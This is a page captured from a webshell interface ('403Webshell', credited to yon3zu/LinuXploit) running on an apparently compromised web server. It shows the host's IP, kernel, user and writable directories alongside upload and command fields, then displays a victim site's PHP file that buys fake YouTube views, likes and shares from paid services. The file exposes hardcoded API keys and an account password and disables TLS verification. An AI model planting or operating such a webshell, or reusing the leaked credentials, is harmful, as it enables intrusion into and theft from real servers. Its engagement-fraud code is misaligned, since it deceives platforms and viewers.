403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.121
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/musicyzf/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/musicyzf/public_html/by_view.php
<?php
include 'config.php';
if(isset($_GET['idVIdeo']))
{
	$row = SelectAll('YoutubeMuaView', true, '`IdVideoMua` LIKE "'.mysql_real_escape_string($_GET['idVIdeo']).'"');
	if($row > 0)
	{
		$result = SelectAll('YoutubeMuaView', false, '`IdVideoMua` LIKE "'.mysql_real_escape_string($_GET['idVIdeo']).'"');
		$info = mysqli_fetch_assoc($result);
		if($info['MuaShare'] == 1 && $info['MuaLike'] == 1)
		{
			echo 'error view';
			return;
		}
		if(isset($_GET['like']))
		{
			if($info['MuaLike'] == 1)
			{
				echo 'error mua like';
				return;
			}
		}
		if(isset($_GET['share']))
		{
			if($info['MuaShare'] == 1)
			{
				echo 'error mua share';
				return;
			}
		}
		if($info['MuaShare'] == 0 && $info['MuaLike'] == 0 && !isset($_GET['isVideoPublic']) && !isset($_GET['share']) && !isset($_GET['like']))
		{
			echo 'error mua view';
			return;
		}
	}
	$row = SelectAll('YoutubeMuaView', true, '`IdVideoMua` LIKE "'.mysql_real_escape_string($_GET['idVIdeo']).'"');
	$info = null;
	if($row > 0)
	{
		$result = SelectAll('YoutubeMuaView', false, '`IdVideoMua` LIKE "'.mysql_real_escape_string($_GET['idVIdeo']).'"');
		$info = mysqli_fetch_assoc($result);
	}
	
	if(isset($_GET['motdanga']))
	{
		$id_Video = $_GET['idVIdeo'];
		$quantity = $_GET['count'];
		$id_service = 931;
		if(isset($_GET['like']))
		{
			$quantity = 10;
			$id_service = 958;
			Update('YoutubeMuaView', array('MuaLike' => 1), '`IdVideoMua` LIKE ' . "'" . $info['IdVideoMua'] . "'");
		}
		// $ch = curl_init();
		// curl_setopt($ch, CURLOPT_URL, "http://1dgvip.com/api_1dg/v1/index.php");
		// curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		// curl_setopt($ch, CURLOPT_VERBOSE, false);
		// curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Incase things are slow allow enough time to try.
		// curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
		// curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Can cause unexpected/no return
		// curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);// Can cause unexpected/no return
		// $data = array(
		   // 'account_user' => 'trinhlam365',
		   // 'account_pass' => 'trinhlam',
		   // 'method' => 'placeOrder',
		   // 'order_video' => $id_Video,
		   // 'order_want' => $quantity,
		   // 'order_service' => $id_service
		// );

		// curl_setopt($ch, CURLOPT_POST, true);
		// curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

		// $result = json_decode(curl_exec($ch));
		// print_r($result);
		class Api
		{
			public $api_url = 'http://smmstore.pro/api/v2'; // API URL

			public $api_key = '9f5f655ffd52fd047bce7df3f32b3330'; // Your API key

			public function order($data) { // add order
				$post = array_merge(array('key' => $this->api_key, 'action' => 'add'), $data);
				return json_decode($this->connect($post));
			}

			public function status($order_id) { // get order status
				return json_decode($this->connect(array(
					'key' => $this->api_key,
					'action' => 'status',
					'order' => $order_id
				)));
			}

			public function multiStatus($order_ids) { // get order status
				return json_decode($this->connect(array(
					'key' => $this->api_key,
					'action' => 'status',
					'orders' => implode(",", (array)$order_ids)
				)));
			}

			public function services() { // get services
				return json_decode($this->connect(array(
					'key' => $this->api_key,
					'action' => 'services',
				)));
			}

			public function balance() { // get balance
				return json_decode($this->connect(array(
					'key' => $this->api_key,
					'action' => 'balance',
				)));
			}


			private function connect($post) {
				$_post = Array();
				if (is_array($post)) {
					foreach ($post as $name => $value) {
						$_post[] = $name.'='.urlencode($value);
					}
				}

				$ch = curl_init($this->api_url);
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
				curl_setopt($ch, CURLOPT_POST, 1);
				curl_setopt($ch, CURLOPT_HEADER, 0);
				curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
				curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
				curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
				if (is_array($post)) {
					curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post));
				}
				curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
				$result = curl_exec($ch);
				if (curl_errno($ch) != 0 && empty($result)) {
					$result = false;
				}
				curl_close($ch);
				return $result;
			}
		}

		// Examples

		$api = new Api();

		$services = $api->services(); # return all services

		$balance = $api->balance(); # return user balance

		// add order

		$order = $api->order(array('service' => $id_service, 'link' => "https://www.youtube.com/watch?v=".$id_Video, 'quantity' => $quantity)); # Default

		$status = $api->status($order->order); # return status, charge, remains, start count

		$statuses = $api->multiStatus([1, 2, 3]); # return orders status, charge, remains, start count
		$json = json_encode($statuses);
		$text = strpos($json,"error");
		$insert = array(
			'IdVideoMua' => mysql_real_escape_string($_GET['idVIdeo']),
			'TimeMua' => time()
		);
		Insert('YoutubeMuaView', $insert);
		$time_1day = (60*60)*24*5;
		$time_conlai = time()-$time_1day;
		Delete('YoutubeMuaView', '`TimeMua` < '.$time_conlai);
		echo 'thành công';
	}
	else
	{
		$url = 'https://www.youtube.com/watch?v=' . $_GET['idVIdeo'];
		$quantity = $_GET['count'];
		$id_service = '84';
		echo $url;
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, "https://www.qqtube.com/v1-api");
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_VERBOSE, false);
		curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Incase things are slow allow enough time to try.
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Can cause unexpected/no return
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);// Can cause unexpected/no return
		$data = array(
				/* Required */
				'api_key' => "6c9003d0f38afe0ac0e1c6cffa58278ad2953cd2",
				'action' => 'add',
				'url' => $url,
				'quantity' => $quantity,
				'id_service' => $id_service
		);
		if(isset($_GET['share']))
		{
			Update('YoutubeMuaView', array('MuaShare' => 1), '`IdVideoMua` LIKE ' . "'" . $info['IdVideoMua'] . "'");
			$id_service = '46';
			$data = array(
				/* Required */
				'api_key' => "6c9003d0f38afe0ac0e1c6cffa58278ad2953cd2",
				'action' => 'add',
				'url' => $url,
				'quantity' => $quantity,
				'id_service' => $id_service,
				'share_type' => 13
			);
		}
		if(isset($_GET['like']))
		{
			Update('YoutubeMuaView', array('MuaLike' => 1), '`IdVideoMua` LIKE ' . "'" . $info['IdVideoMua'] . "'");
			$id_service = '7';
			$data = array(
				/* Required */
				'api_key' => "6c9003d0f38afe0ac0e1c6cffa58278ad2953cd2",
				'action' => 'add',
				'url' => $url,
				'quantity' => $quantity,
				'id_service' => $id_service
			);
		}
		
		curl_setopt($ch, CURLOPT_POST, true);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
		$result = json_decode(curl_exec($ch));
		if($id_service == '84')
		{
			$text = strpos($result,"Successfully");
			if($text != null)
			{
				$insert = array(
					'IdVideoMua' => mysql_real_escape_string($_GET['idVIdeo']),
					'TimeMua' => time()
				);
				Insert('YoutubeMuaView', $insert);
				//echo 'success';
			}
			else
			{
				//echo 'error mua view';
			}
		}
		print_r($result);
		
	}
	$time_1day = (60*60)*24*5;
	$time_conlai = time()-$time_1day;
	Delete('YoutubeMuaView', '`TimeMua` < '.$time_conlai);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit